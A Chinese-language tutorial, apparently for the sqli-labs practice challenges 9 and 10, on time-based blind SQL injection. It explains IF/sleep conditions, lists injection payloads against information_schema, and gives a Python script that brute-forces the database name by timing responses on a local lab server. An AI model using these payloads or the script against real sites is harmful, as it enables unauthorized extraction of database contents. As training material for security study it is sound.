知识点:时间盲注
时间盲注:
时间盲注利用前提条件:
页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。
时间盲注常用函数:
IF(判断语句,A,B)
如果判断语句为真,则返回A
为假则返回B
一般和布尔盲注语句配合使用;
if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数
if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)
if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符
各种试探,主页就是YOU ARE IN ........ 。跟一块铁一样。这个时候就要考虑时间盲注了。
?id=1' and sleep(5) --+ ;页面刷新5秒钟,基本确定注入点的闭合方式找对了。
?id=1' and if(ord(substr(database(),1,1))=ord('s'),sleep(5),0) --+ 页面刷新5秒
?id=1' and if(ord(substr(database(),1,1))=ord('a'),sleep(5),0) --+页面立即刷新
我们假装黑盒做题,直接写脚本爆库名:
import requests
import time
flag=" \~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!"
result=''
i=1
j=0
while i<=10:
while j<len(flag):
start_timer=time.time()
x=requests.request('get',f"http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ord(substr(database(),{i},1))=ord('{flag[j]}'),sleep(5),0) --+");
end_timer=time.time()
if (end_timer-start_timer)>4:
result=result+flag[j]
print('database_name:'+result,'payload:'+f"1' and if(ord(substr(database(),{i},1))=ord('{flag[j]}'),sleep(5),0) --+")
j+=1
j=0
i+=1
后面爆表,列,记录就不写了。核心代码和函数都是老套路了。
第十关 通过各种尝试也是一样,只是双引号闭合:?id=1" and if(1=1,sleep(5),0) --+